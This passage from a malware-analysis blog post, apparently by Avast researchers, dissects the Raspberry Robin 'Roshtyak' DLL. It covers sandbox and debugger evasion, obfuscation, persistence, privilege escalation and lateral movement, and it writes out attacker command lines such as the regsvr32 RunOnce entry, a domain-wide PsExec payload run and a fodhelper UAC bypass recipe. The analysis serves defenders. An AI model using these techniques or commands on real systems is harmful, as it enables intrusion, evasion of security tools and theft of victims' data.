<h4>Ret2Kernel32</h4>Roshtyak makes a point of cleaning up after itself. Whenever a certain string or piece of memory is no longer needed, Roshtyak wipes and/or frees it in an attempt to destroy as much evidence as possible. The same holds for Roshtyak’s layers. Whenever one layer finishes its job, it frees itself before passing execution onto the next layer. However, the layer cannot just simply free itself directly. The whole process would crash if it called <code>VirtualFree</code> on the region of memory it’s currently executing from.Roshtyak, therefore, frees the layer through a ROP chain executed during layer transitions to avoid this problem. When a layer is about to exit, it constructs a ROP chain on the stack and returns into it. An example of such a ROP chain can be seen below. This chain starts by returning into <code>VirtualFree</code> and <code>UnmapViewOfFile</code> to release the previous layer’s memory. Then, it returns into the next layer. The return address from the next layer is set to <code>RtlExitUserThread</code>, to safeguard execution.

<h4>MulDiv bug</h4><a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-muldiv">MulDiv</a> is a function exported by <code>kernel32.dll</code>, which takes three signed 32-bit integers as arguments. It multiplies the first two arguments, divides the multiplication result by the third argument, and returns the final result rounded to the nearest integer. While this might seem like a simple enough function, there’s an ancient sign extension <a href="https://devblogs.microsoft.com/oldnewthing/20120514-00/?p=7633">bug</a> in Microsoft’s implementation. This bug is sort of considered a feature now and might never get fixed.Roshtyak is aware of the bug and tests for its presence by calling <code>MulDiv(1, 0x80000000, 0x80000000)</code>. On real Windows machines, this triggers the bug and <code>MulDiv</code> erroneously returns <code>2</code>, even though the correct return value should be <code>1</code>, because <code>(1 * -2147483648) / -2147483648 = 1</code>. This allows Roshtyak to detect emulators that do not replicate the bug. For example, this successfully detects <a href="https://www.winehq.org/">Wine</a>, which, funnily enough, contains a different bug, which makes the above call return <code>0</code>.<h4>Tampering with return addresses stored on the stack</h4>There are also tricks designed to obfuscate function calls. As shown in the previous section, Roshtyak likes to call functions using the <code>ret</code> instruction. This next trick is similar in that it also manipulates the stack so a <code>ret</code> instruction can be used to jump to the desired address.&nbsp;To achieve this, Roshtyak scans the current thread’s stack for pointers into the code section of one of the previous layers (unlike the other layers, this one was not freed using the ROP chain technique). It replaces all these pointers with the address it wants to call. Then it lets the code return multiple times until a <code>ret</code> instruction encounters one of the hijacked pointers, redirecting the execution to the desired address.<h4>Exception-based checks</h4>Additionally, Roshtyak contains checks that set up a custom vectored exception handler and intentionally trigger various exceptions to ensure they all get handled as expected.Roshtyak sets up a vectored exception handler using <code>RtlAddVectoredExceptionHandler</code>. This handler contains custom handlers for selected exception codes. A top-level exception handler is also registered using <code>SetUnhandledExceptionFilter</code>. This handler should not be called in the targeted execution environments (none of the intentionally triggered exceptions should fall through the vectored exception handler). So this top-level handler just contains a single call to <code>TerminateProcess</code>. Interestingly, Roshtyak also uses <code>ZwSetInformationProcess</code> to set <code>SEM_FAILCRITICALERRORS</code> using the <code>ProcessDefaultHardErrorMode</code> class. This ensures that even if the exception somehow is passed all the way to the default exception handler, Windows would not show the standard error message box, which could alert the victim that something suspicious is going on.When everything is set up, Roshtyak begins generating exceptions. The first exception is generated by a <code>popf</code> instruction, directly followed by a <code>cpuid</code> instruction (shown below). The value popped by the <code>popf</code> instruction was crafted to set the trap flag, which should, in turn, raise a single-step exception. On a physical machine, the exception would trigger right after the <code>cpuid</code> instruction. Then, the custom vectored exception handler would take over and move the instruction pointer away from the <code>C7 B2</code> opcodes, which mark an invalid instruction. However, under many hypervisors, the single-step exception would not be raised. This is because the <code>cpuid</code> instruction forces a VM exit, which might delay the effect of the trap flag. If that is the case, the processor will raise an illegal instruction exception when trying to execute the invalid opcodes. If the vectored exception handler encounters such an exception, it knows that it is running under a hypervisor. A variation of this technique is described thoroughly in a <a href="https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/">blog post</a> by Palo Alto Networks. Please refer to it for more details.&nbsp;

Another exception is generated using the two-byte <code>int 3</code> instruction (<code>CD 03</code>). This instruction is followed by garbage opcodes. The <code>int 3</code> here raises a breakpoint exception, which is handled by the vectored exception handler. The vectored exception handler doesn’t really do anything to handle the exception, which is interesting. This is because by default, when Windows handles the two-byte <code>int 3</code> instruction, it will leave the instruction pointer in between the two instruction bytes, pointing to the <code>03</code> byte. When disassembled from this <code>03</code> byte, the garbage opcodes suddenly start making sense. We believe this is a check against some overeager debuggers, which could “fix” the instruction pointer to point after the <code>03</code> byte.Moreover, the vectored exception handler checks the thread’s <code>CONTEXT</code> and makes sure that registers <code>Dr0</code> through <code>Dr3</code> are empty. If they are not, the process is being debugged using hardware breakpoints. While this check is relatively common in malware, the <code>CONTEXT</code> is usually obtained using a call to a function like <code>GetThreadContext</code>. Here, the malware authors took advantage of <code>CONTEXT</code> being passed as an argument to the exception handler, so they did not need to call any additional API functions.<h4>Large executable mappings</h4>This next check is interesting mostly because we are not sure what it’s really supposed to check (in other words, we’d be happy to hear your theories!). It starts with Roshtyak creating a large <code>PAGE_EXECUTE_READWRITE</code> mapping of size <code>0x386F000</code>. Then it maps this mapping nine times into its own address space. After this, it memsets the mapping to 0x42 (opcode for <code>inc edx</code>), except for the last six bytes, which are filled with four <code>inc ecx</code> instructions and <code>jmp dword ptr [ecx]</code> (see below). Next, it puts the nine base addresses of the mapped views into an array, followed by an address of a single <code>ret</code> instruction. Finally, it points <code>ecx</code> into this array and calls the first mapped view, which results in all the mapped views being called sequentially until the final <code>ret</code> instruction. After the return, Roshtyak validates that <code>edx</code> got incremented exactly <code>0x1FBE6FCA</code> times (<code>9 * (0x386F000 - 6)</code>).

Our best guess is that this is yet another anti-emulator check. For example, in some emulators, mapped sections might not be fully implemented, so the instructions written into one instance of the mapped view might not propagate to the other eight instances. Another theory is the check could be done to request large amounts of memory that emulators might fail to provide. After all, the combined size of all the views is almost half of the standard 32-bit user mode address space.<h4>Detecting process suspension</h4>This trick abuses an undocumented thread creation flag in <code>NtCreateThreadEx</code> to detect when Roshtyak’s main process gets externally suspended (which could mean that a debugger got attached). This flag essentially allows a thread to keep running even when <code>PsSuspendProcess</code> gets called. This is coupled with another trick abusing the fact that the thread suspend counter is a signed 8-bit value, which means that it maxes out at 127. Roshtyak spawns two threads, one of which keeps suspending the other one until the suspend counter limit is reached. After this, the first thread keeps periodically suspending the other one and checking if the call to <code>NtSuspendThread</code> keeps failing with <code>STATUS_SUSPEND_COUNT_EXCEEDED</code>. If it does not, the thread must have been externally suspended and resumed (which would leave the suspend counter at 126, so the next call to <code>NtSuspendThread</code> would succeed). Not getting this error code would be suspicious enough for Roshtyak to quit using <code>TerminateProcess</code>. This entire technique is described in more detail in a <a href="https://secret.club/2021/01/04/thread-stuff.html">blog post</a> by Secret Club. We believe that’s where the authors of Roshtyak got this trick from. It’s also worth mentioning Roshtyak uses this technique only on Windows builds 18323 (19H1) and later because the undocumented thread creation flag was not implemented on prior builds.<h4 id="indirect_registry">Indirect registry writes</h4>Roshtyak performs many suspicious registry operations, for example, setting up the <code>RunOnce</code> key for persistence. Since modifications to such keys are likely to be monitored, Roshtyak attempts to circumvent the monitoring. It first generates a random registry key name and temporarily renames the <code>RunOnce</code> key to the random name using <code>ZwRenameKey</code>. Once renamed, Roshtyak adds a new persistence entry to the temporary key before finally renaming it back to <code>RunOnce</code>. This method of writing to the registry can be easily detected, but it might bypass some simple hooking-based monitoring methods.Similarly, there are multiple methods Roshtyak uses to delete files. Aside from the apparent call to <code>NtDeleteFile</code>, Roshtyak is able to effectively delete a file by setting <code>FileDispositionInformation</code> or <code>FileRenameInformation</code> in a call to <code>ZwSetInformationFile</code>. However, unlike the registry modification method, this doesn’t seem to be implemented in order to evade detection. Instead, Roshtyak will try these alternative methods if the initial call to <code>NtDelete</code> file fails.&nbsp;<h4>Checking VBAWarnings</h4>The <code>VBAWarnings</code> registry value controls how Microsoft Office behaves when a user opens a document containing embedded VBA macros. If this value is <code>1</code> (meaning “Enable all macros”), macros are executed by default, even without the need for any user interaction. This is a common setting for sandboxes, which are designed to detonate maldocs automatically. On the other hand, this setting is uncommon for regular users, who generally don’t go around changing random settings to make themselves more vulnerable (at least most of them don’t). Roshtyak therefore uses this check to differentiate between sandboxes and regular users and refuses to run further if the value of <code>VBAWarnings</code> is <code>1</code>. Interestingly, this means that users, who for whatever reason have lowered their security this way, are immune to Roshtyak.<h4>Command line wiping</h4>Roshtyak’s core is executed with very suspicious command lines, such as <code>RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s "C:\Users\&lt;REDACTED&gt;\AppData\Local\Temp\dpcw.etl."</code>. These command lines don’t look particularly legitimate, so Roshtyak attempts to hide them during execution. It does this by wiping command line information collected from various sources. It starts by calling <code>GetCommandLineA</code> and <code>GetCommandLineW</code> and wiping both of the returned strings. Then it attempts to wipe the string pointed to by <code>PEB-&gt;ProcessParameters-&gt;CommandLine</code> (even if this points to a string that has already been wiped). Since Roshtyak is often running under WoW64, it also calls <code>NtWow64QueryInformationProcess64</code> to obtain a pointer to <code>PEB64</code> to wipe <code>ProcessParameters-&gt;CommandLine</code> obtained by traversing this “second” PEB. While the wiping of the command lines was probably meant to make Roshtyak look more legitimate, the complete absence of any command line is also highly unusual. This was noticed by the Red Canary researchers in their <a href="https://redcanary.com/blog/raspberry-robin/">blog post</a>, where they proposed a detection method based on these suspiciously empty command lines.

<h4>Additional tricks</h4>Aside from the techniques described so far, Roshtyak uses many less sophisticated tricks that are commonly found in other malware as well. These include:<ul><li>Hiding threads using <code>ThreadHideFromDebugger</code> (and verifying that the threads really got hidden using <code>NtQueryInformationThread</code>)</li><li>Patching <code>DbgBreakPoint</code> in <code>ntdll</code></li><li>Detecting user inactivity using <code>GetLastInputInfo</code></li><li>Checking fields from PEB (<code>BeingDebugged</code>, <code>NtGlobalFlag</code>)</li><li>Checking fields from <code>KUSER_SHARED_DATA</code> (<code>KdDebuggerEnabled</code>, <code>ActiveProcessorCount</code>, <code>NumberOfPhysicalPages</code>)</li><li>Checking the names of all running processes (some are compared by hash, some by patterns, and some by character distribution)</li><li>Hashing the names of all loaded modules and checking them against a hardcoded blacklist</li><li>Verifying the main process name is not too long and doesn’t match known names used in sandboxes</li><li>Using the <code>cpuid</code> instruction to check hypervisor information and the processor brand</li><li>Using poorly documented COM interfaces</li><li>Checking the username and computername against a hardcoded blacklist</li><li>Checking for the presence of known sandbox decoy files</li><li>Checking MAC addresses of own adapters against a hardcoded blacklist</li><li>Checking MAC addresses from the ARP table (using <code>GetBestRoute</code> to populate it and <code>GetIpNetTable</code> to inspect it)</li><li>Calling <code>ZwQueryInformationProcess</code> with <code>ProcessDebugObjectHandle</code>, <code>ProcessDebugFlags</code>, and <code>ProcessDebugPort</code></li><li>Checking <code>DeviceId</code> of display devices (using <code>EnumDisplayDevices</code>)</li><li>Checking <code>ProductId</code> of <code>\\.\PhysicalDrive0</code> (using <code>IOCTL_STORAGE_QUERY_PROPERTY</code>)</li><li>Checking for virtual hard disks (using <code>NtQuerySystemInformation</code> with <code>SystemVhdBootInformation</code>)</li><li>Checking the raw SMBIOS firmware table (using <code>NtQuerySystemInformation</code> with <code>SystemFirmwareTableInformation</code>)</li><li>Setting up Defender exclusions (both for paths and processes)</li><li>Removing IFEO registry keys related to process names used by the malware</li></ul><h2>Obfuscation</h2>We’ve shown many anti-analysis tricks that are designed to prevent Roshtyak from detonating in undesirable execution environments. These tricks alone would be easy to patch or bypass. What makes analyzing Roshtyak especially lethal is the combination of all these tricks with heavy obfuscation and multiple layers of packing. This makes it very difficult to study the anti-analysis tricks statically and figure out how to pass all the checks in order to get Roshtyak to unpack itself. Furthermore, even the main payload received the same obfuscation, which means that statically analyzing Roshtyak’s core functionality also requires a great deal of deobfuscation.&nbsp;In the rest of this section, we’ll go through the main obfuscation techniques used by Roshtyak.

<h4>Control flow flattening</h4>Control flow flattening is one of the most noticeable obfuscation techniques employed by Roshtyak. It is implemented in an unusual way, giving the control flow graphs of Roshtyak’s functions a unique look (see below). The goal of control flow flattening is to obscure control flow relations between individual code blocks.&nbsp;Control flow is directed by a 32-bit control variable, which tracks the execution state, identifying the code block to be executed. This control variable is initialized at the start of each function to refer to the starting code block (which is frequently a <code>nop</code> block). The control variable is then modified at the end of each code block to identify the next code block that should be executed. The modification is performed using some arithmetic instructions, such as <code>add</code>, <code>sub</code>, or <code>xor</code>.There is a dispatcher using the control variable to route execution into the correct code block. This dispatcher is made up of if/else blocks that are circularly linked into a loop. Each dispatcher block takes the control variable and masks it using arithmetic instructions to check if it should route execution into the code block that it is guarding. What’s interesting here is there are multiple points of entry from the code blocks into the dispatcher loop, giving the control flow graphs the jagged “sawblade” look in IDA.&nbsp;Branching is performed using a special code block containing an <code>imul</code> instruction. It relies on the previous block to compute a branch flag. This branch flag is multiplied using the <code>imul</code> instruction with a random constant, and the result is added, subbed, or xored to the new control variable. This means that after the branch block, the control variable will identify one of the two possible succeeding code blocks, depending on the value that was computed for the branch flag.

<h4>Function activation keys</h4>Roshtyak’s obfuscated functions expect an extra argument, which we call an activation key. This activation key is used to decrypt all local constants, strings, variables, etc. If a function is called with a wrong activation key, the decryption results in garbage plaintext, which will most likely cause Roshtyak to get stuck in an infinite loop inside the control flow dispatcher. This is because all constants used by the dispatcher (the initial value of the control variable, the masks used by the dispatcher guards, and the constants used to jump to the next code block) are encrypted with the activation key. Without the correct activation key, the dispatcher simply does not know how to dispatch.Reverse engineering a function is practically impossible without knowing the correct activation key. All strings, buffers, and local variables/constants remain encrypted, all cross-references are lost, and worse, there is no control flow information. Only individual code blocks remain, with no way to know how they relate to each other.Each obfuscated function has to be called from somewhere, which means the code calling the function has to supply the correct activation key. However, obtaining the activation key is not that easy. First, call targets are also encrypted with activation keys, so it’s impossible to find where a function is called from without knowing the right activation keys. Second, even the supplied activation key is encrypted with the activation key of the calling function. And that activation key got encrypted with the activation key of the next calling function. And so on, recursively, all the way until the entry point function.This brings us to how to deobfuscate the mess. The activation key of the entry point function must be there in plaintext. Using this activation key, it is possible to decrypt the call targets and activation keys of functions that are called directly from this entry point function. Applying this method recursively allows us to reconstruct the full call graph along with the activation keys of all the functions. The only exceptions would be functions that were never called and were left in by the compiler. These functions will probably remain a mystery, but since the sample does not use them, they are not that important from a malware analyst’s point of view.<h4>Variable masking</h4>Some variables are not stored in plaintext form but are masked using one or more arithmetic instructions. This means that if Roshtyak is not actively using a variable, it keeps the variable’s value in an obfuscated form. Whenever Roshtyak needs to use the variable, it has to first unmask it before it can use it. Conversely, after Roshtyak uses the variable, it converts it back into the masked form. This masking-based obfuscation method slightly complicates tracking variables during debugging and makes it harder to search memory for a known variable value.<h4>Loop transformations</h4>Roshtyak is creative with some loop conditions. Instead of writing a loop like <code>for (int i = 0; i &lt; 1690; i++)</code>, it transforms the loop into e.g. <code>for (int32_t i = 0x06AB91EE; i != 0x70826068; i = i * -0x509FFFF + 0xEC891BB1)</code>. While both loops will execute exactly 1690 times, the second one is much harder to read. At first glance, it is not clear how many iterations the second loop executes (and if it even terminates). Tracking the number of loop iterations during debugging is also much harder in the second case.<h4>Packing</h4>As mentioned, Roshtyak’s core is hidden behind multiple layers of packing. While all the layers look like they were originally compiled into PE files, all but the strictly necessary data (entry point, sections, imports, and relocations) were stripped away. Furthermore, Roshtyak supports two custom formats for storing the stripped PE file information, and the layers take turns on what format they use. Additionally, parts of the custom formats are encrypted, sometimes using keys generated based on the results of various anti-analysis checks.This makes it difficult to unpack Roshtyak’s layers statically into a standalone PE file. First, one would have to reverse engineer the custom formats and figure out how to decrypt the encrypted parts. Then, one would have to reconstruct the PE header, the sections, the section headers, and the import table (the relocation table doesn’t need to be reconstructed since relocations can just be turned off). While this is all perfectly doable (and can be simplified using libraries like <a href="https://lief-project.github.io/">LIEF</a>), it might take a significant amount of time. Adding to this that the layers are sometimes interdependent, it might be easier to just analyze Roshtyak dynamically in memory.

<h4>Other obfuscation techniques</h4>In addition to the above-described techniques, Roshtyak also uses other obfuscation techniques, including:<ul><li>Junk instruction insertion</li><li>Import hashing</li><li>Frequent memory wiping</li><li>Mixed boolean-arithmetic obfuscation</li><li>Redundant threading</li><li>Heavy polymorphism</li></ul><h2>Core Functionality</h2>Now that we’ve described how Roshtyak protects itself, it might be interesting to also go over what it actually does. Roshtyak’s DLL is relatively large, over a megabyte, but its functionality is surprisingly simple once you eliminate all the obfuscation. Its main purpose is to download further payloads to execute. In addition, it does the usual evil malware stuff, namely establishing persistence, escalating privileges, lateral movement, and exfiltrating information about the victim.<h4>Persistence</h4>Roshtyak first generates a random file name in <code>%SystemRoot%\Temp</code> and moves its DLL image there. The generated file name consists of two to eight random lowercase characters concatenated with a random extension chosen from a hardcoded list. The PRNG used to generate this file name is seeded with the volume serial number of <code>C:\</code>. The sample we analyzed hardcoded seven extensions (<code>.log</code>, <code>.tmp</code>, <code>.loc</code>, <code>.dmp</code>, <code>.out</code>, <code>.ttf</code>, and <code>.etl</code>). We observed other extensions being used in other samples, suggesting this list is somewhat dynamic. With a small probability, Roshtyak will also use a randomly generated extension. Once fully constructed, the full path to the Roshtyak DLL might look like e.g. <code>C:\Windows\Temp\wcdp.etl</code>.After the DLL image is moved to the new filesystem path, Roshtyak stomps its <code>Modified</code> timestamp to the current system time. It then proceeds to set up a <code>RunOnce(Ex)</code> registry key to actually establish persistence. The registry entry is created using the previously described <a href="https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/#indirect_registry">indirect registry write</a> technique. The command inserted into the key might look as follows:<code>RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s "C:\Windows\Temp\wcdp.etl."</code>There are a couple of things to note here. First, <code>regsvr32</code> doesn’t care about the extensions of the DLLs it loads, allowing Roshtyak to hide under an innocent-looking extension such as <code>.log</code>. Second, the <code>/s</code> parameter puts <code>regsvr32</code> into silent mode. Without it, <code>regsvr32</code> would complain that it did not find an export named <code>DllUnregisterServer</code>. Finally, notice the trailing period character at the end of the path. This period is <a href="https://docs.microsoft.com/en-us/archive/blogs/jeremykuhne/path-normalization#trimming-characters">removed</a> during path normalization, so it practically has no effect on the command. We are not exactly sure what the author’s original intention behind including this period character is. It looks like it could have been designed to trick some anti-malware software into not being able to connect the persistence entry with the payload on the filesystem.By default, Roshtyak uses the <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce</code> key for persistence. However, under some circumstances (such as when it detects that Kaspersky is running by checking for a process named <code>avp.exe</code>) the key <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx</code> will be used instead. The <code>RunOnceEx</code> key is capable of loading a DLL, so when using this key, Roshtyak specifies <code>shell32.dll</code> directly, omitting the use <code>rundll32</code>.

<h4>Privilege escalation</h4>Roshtyak uses both UAC bypasses and regular EoP exploits in an attempt to elevate its privileges. Unlike many other pieces of malware, which just blindly execute whatever UAC bypasses/exploits the authors could find, Roshtyak makes efforts to figure out if the privilege escalation method is even likely to be successful. This was probably implemented to lower the chances of detection due to the unnecessary usage of incompatible bypasses/exploits. For UAC bypasses, this involves checking the <code>ConsentPromptBehaviorAdmin</code> and <code>ConsentPromptBehaviorUser</code> registry keys. For EoP exploits, this is about checking the Windows build number and patch level.Besides checking the <code>ConsentPromptBehavior(Admin|User)</code> keys, Roshtyak performs other sanity checks to ensure that it should proceed with the UAC bypass. Namely, it checks for admin privileges using <code>CheckTokenMembership</code> with the SID <code>S-1-5-32-544</code> (<code>DOMAIN_ALIAS_RID_ADMINS</code>). It also inspects the value of the <code>DbgElevationEnabled</code> flag in <code>KUSER_SHARED_DATA.SharedDataFlags</code>. This is an undocumented <a href="http://undoc.airesoft.co.uk/ntdll.dll/RtlQueryElevationFlags.php">flag</a> that is set if UAC is enabled. Finally, there are AV checks for BitDefender (detected by the module <code>atcuf32.dll</code>), Kaspersky (process <code>avp.exe</code>), and our own Avast/AVG (module <code>aswhook.dll</code>). If one of these AVs is detected, Roshtyak avoids selected UAC bypass techniques, presumably the ones that might result in detection.As for the actual UAC bypasses, there are two main methods implemented. The first is an implementation of the aptly named <a href="https://github.com/hfiref0x/UACME/blob/c998cb1f1bafd36f566f17208b915dc48dda5edf/Source/Akagi/methods/hybrids.c#L877">ucmDccwCOM</a> method from <a href="https://github.com/hfiref0x/UACME">UACMe</a>. Interestingly when this method is executed, Roshtyak temporarily masquerades its process as <code>explorer.exe</code> by overwriting <code>FullDllName</code> and <code>BaseDllName</code> in the <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FLDR_MODULE.html">_LDR_MODULE</a> structure corresponding to the main executable module. The payload launched by this method is a randomly named LNK file, dropped into <code>%TEMP%</code> using the <a href="https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-ishelllinka">IShellLink</a> COM interface. This LNK file is designed to relaunch the Roshtyak DLL, through LOLBins such as <code>advpack</code> or <code>register-cimprovider</code>.The second method is more of a UAC bypass framework than a specific bypass method, because multiple UAC bypass methods follow the same simple pattern: first registering some specific shell open command and then executing an autoelevating Windows binary (which internally triggers the shell open command). For instance, a UAC bypass might be accomplished by writing a payload command to <code>HKCU\Software\Classes\ms-settings\shell\open\command</code> and then executing <code>fodhelper.exe</code> from <code>%windir%\system32</code>. Basically, the same bypass can be achieved by substituting the pair <code>ms-settings</code>/<code>fodhelper.exe</code> with other pairs, such as <code>mscfile</code>/<code>eventvwr.exe</code>. Roshtyak uses the following six pairs to bypass UAC:

Let’s now look at the kernel exploits (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1054">CVE-2020-1054</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732">CVE-2021-1732</a>) Roshtyak uses to escalate privileges. As is often the case in Roshtyak, these exploits are stored encrypted and are only decrypted on demand. Interestingly, once decrypted, the exploits turn out to be regular PE files with completely valid headers (unlike the other layers in Roshtyak, which are either in shellcode form or stored in a custom stripped PE format). Moreover, the exploits lack the obfuscation given to the rest of Roshtyak, so their code is immediately decompilable, and only some basic string encryption is used. We don’t know why the attackers left these exploits so exposed, but it might be due to the difference in bitness. While Roshtyak itself is x86 code (most of the time running under WoW64), the exploits are x64 (which makes sense considering they exploit vulnerabilities in 64-bit code). It could be that the obfuscation tools used by Roshtyak’s authors were designed to work on x86 and are not portable to x64.

To execute the exploits, Roshtyak spawns (the AMD64 version of) <code>winver.exe</code> and gets the exploit code to run there using the <a href="https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/">KernelCallbackTable injection method</a>. Roshtyak’s implementation of this injection method essentially matches a <a href="https://github.com/odzhan/injection/blob/master/kct/kct.c">public PoC</a>, with the biggest difference being the usage of slightly different API functions due to the need for cross-subsystem injection (e.g. <code>NtWow64QueryInformationProcess64</code> instead of <code>NtQueryInformationProcess</code> or <code>NtWow64ReadVirtualMemory64</code> instead of <code>ReadProcessMemory</code>). The code injected into <code>winver.exe</code> is not the exploit PE itself but rather a slightly obfuscated shellcode, designed to load the exploit PE into memory.The kernel exploits target certain unpatched versions of Windows. Specifically, CVE-2020-1054 is only used on Windows 7 systems where the revision number is not higher than <code>24552</code>. On the other hand, the exploit for CVE-2021-1732 runs on Windows 10, with the targeted build number range being from <code>16353</code> to <code>19042</code>. Before exploiting CVE-2021-1732, Roshtyak also scans through installed update packages to see if a patch for the vulnerability is installed. It does this by enumerating the registry keys under <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages</code> and checking if the package for <a href="https://support.microsoft.com/en-us/topic/february-9-2021-kb4601319-os-builds-19041-804-and-19042-804-87fc8417-4a81-0ebb-5baa-40cfab2fbfde">KB4601319</a> (or higher) is present.<h4>Lateral movement</h4>When it comes to lateral movement, Roshtyak simply uses the tried and tested <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">PsExec</a> tool. Before executing PsExec, Roshtyak ensures it makes sense to run it by checking for a SID matching the “<a href="https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-well_known_sid_type">well-known</a>” <code>WinAccountDomainAdminsSid</code> group. If domain admin rights are not detected, Roshtyak skips its lateral movement phase entirely.Roshtyak attempts to get around detection by setting Defender exclusions, as PsExec is often flagged as a hacktool (for good reasons). It sets a path exclusion for <code>%TEMP%</code> (where it will drop PsExec and other files used for lateral movement). Later, it sets up a process exclusion for the exact path from which PsExec will be executed.&nbsp;While we would expect PsExec to be bundled inside Roshtyak, it turns out Roshtyak downloads it on demand from <code>https://download.sysinternals[.]com/files/PSTools.zip</code>. The downloaded zip archive is dropped into <code>%TEMP%</code> under a random name with the <code>.zip</code> extension. PsExec is then unzipped from this archive using the Windows Shell COM interface (<code>IShellDispatch</code>) into a randomly named <code>.exe</code> file in <code>%TEMP%</code>.The payload to be executed by PsExec is a self-extracting package created by a tool called <a href="https://en.wikipedia.org/wiki/IExpress">IExpress</a>. This is an archaic installer that’s part of Windows, which is probably why it’s used, since Roshtyak can rely on it already being on the victim machine. The installer generation is configured by a text file using the <a href="https://www.mdgx.com/INF_web/cdfinfo.htm">Self Extraction Directive</a> (SED) syntax.&nbsp;

Roshtyak uses a SED configuration template with three placeholders (<code>%1</code>, <code>%2</code>, and <code>%3</code>) that it substitutes with real values at runtime. As seen above, the configuration template was written in mixed-case, which is frequently used in Raspberry Robin in general. Once the SED configuration is prepared, it is written into a randomly named <code>.txt</code> file in <code>%TEMP%</code>. Then, <code>iexpress</code> is invoked to generate the payload using a command such as <code>C:\Windows\iexpress.exe /n /q &lt;path_to_sed_config&gt;</code>. The generated payload is dumped into a randomly named <code>.exe</code> file in <code>%TEMP%</code>, as configured by the <code>TargetName</code> directive (placeholder <code>%1</code>).Once the payload is generated, Roshtyak proceeds to actually run PsExec. There are two ways Roshtyak can execute PsExec. The first one uses the command <code>&lt;path_to_psexec&gt; \\* -accepteula -c -d -s &lt;path_to_payload&gt;</code>. Here, the <code>\\*</code> wildcard instructs PsExec to run the payload on all computers in the current domain. Alternatively, Roshtyak might run the command <code>&lt;path_to_psexec&gt; @&lt;path_to_target_file&gt; -accepteula -c -d -s &lt;path_to_payload&gt;</code>. Here, the <code>target_file</code> is a text file containing a specific list of computers to run the payload on. Roshtyak builds this list by enumerating Active Directory objects using API functions exported from <code>activeds.dll</code>.<h4>Profiling the victim</h4>USB worms tend to have a life of their own. Since their worming behavior is usually completely automated, the threat actor who initially deployed the worm doesn’t necessarily have full control over where it spreads. This is why it’s important for threat actors to have the worm beacon back to their C&amp;C servers. With a beaconing mechanism in place, the threat actor can be informed about all the machines under their control and can use this knowledge to manage the worm as a whole.The outgoing beaconing messages typically contain some information about the infected machine. This helps financially-motivated cybercriminals decide on how to best monetize the infection. Roshtyak is no exception to this, and it collects a lot of information about each infected victim. Roshtyak concatenates all the collected information into a large string, using semicolons as delimiters. This large string is then exfiltrated to one of Roshtyak’s C&amp;C servers. The exfiltrated pieces of information are listed below, in order of concatenation.<ul><li>External IP address (obtained during a Tor connectivity check)</li><li>A string hardcoded into Roshtyak’s code, e.g. <code>AFF123</code> (we can’t be sure what’s the meaning behind this, but it looks like an affiliate ID)</li><li>A 16-bit hash of the DLL’s PE header (with some fields zeroed out) xored with the lower 16 bits of its <code>TimeDateStamp</code>. The <code>TimeDateStamp</code> appears to be specially crafted so that the xor results in a known value. This could function as a tamper check or a watermark.</li><li>Creation timestamp of the <code>System Volume Information</code> folder on the system drive</li><li>The volume serial number of the system drive</li><li>Processor count (<code>GetActiveProcessorCount</code>)</li><li>IsWow64Process (<code>_PROCESS_EXTENDED_BASIC_INFORMATION.Flags &amp; 2</code>)</li><li>Windows version (<code>KUSER_SHARED_DATA.Nt(Major|Minor)Version</code>)</li><li>Windows product type (<code>KUSER_SHARED_DATA.NtProductType</code>)</li><li>Windows build number (<code>PEB.OSBuildNumber</code>)</li><li>Local administrative privileges (<code>ZwQueryInformationToken(TokenGroups)</code>/<code>CheckTokenMembership</code>, check for <code>DOMAIN_ALIAS_RID_ADMINS</code>)</li><li>Domain administrative privileges (check for <code>WinAccountDomainAdminsSid</code>/<code>WinAccountDomainUsersSid</code>)</li><li>System time (<code>KUSER_SHARED_DATA.SystemTime</code>)</li><li>Time zone (<code>KUSER_SHARED_DATA.TimeZoneBias</code>)</li><li>System locale (<code>NtQueryDefaultLocale(0)</code>)</li><li>User locale (<code>NtQueryDefaultLocale(1)</code>)</li><li>Environment variables (<code>username</code>, <code>computername</code>, <code>userdomain</code>, <code>userdnsdomain</code>, and <code>logonserver</code>)</li><li>Java version (<code>GetFileVersionInfo("javaw.exe")</code> -&gt; <code>VerQueryValue</code>)</li><li>Processor information (<code>cpuid</code> to obtain the <code>Processor Brand String</code>)</li><li>Path to the image of the main executable module (<code>NtQueryVirtualMemory(MemorySectionName)</code>)</li><li>Product ID and serial number of the main physical drive (<code>DeviceIoControl(IOCTL_STORAGE_QUERY_PROPERTY, StorageDeviceProperty)</code>)</li><li>MAC address of the default gateway (<code>GetBestRoute</code> -&gt; <code>GetIpNetTable</code>)</li><li>MAC addresses of all network adapters (<code>GetAdaptersInfo</code>)</li><li>Installed antivirus software (<code>root\securitycenter2</code> -&gt; <code>SELECT * FROM AntiVirusProduct</code>)</li><li>Display device information (<code>DeviceId</code>, <code>DeviceString</code>, <code>dmPelsWidth</code>, <code>dmPelsHeight</code>, <code>dmDisplayFrequency</code>) (<code>EnumDisplayDevices</code> -&gt; <code>EnumDisplaySettings</code>)</li><li>Active processes (<code>NtQuerySystemInformation(SystemProcessInformation)</code>)</li><li>Screenshot encoded in base64 (<code>gdi32</code> method)</li></ul><h4>Beaconing</h4>Once collected, Roshtyak sends the victim profile to one of its C&amp;C servers. The profile is sent over the <a href="https://www.torproject.org/">Tor network</a>, using a custom comms module Roshtyak injects into a newly spawned process. The C&amp;C server processes the exfiltrated profile and might respond with a shellcode payload for the core module to execute.Let’s now take a closer look at this whole process. It’s worth mentioning that before generating any malicious traffic, Roshtyak first performs a 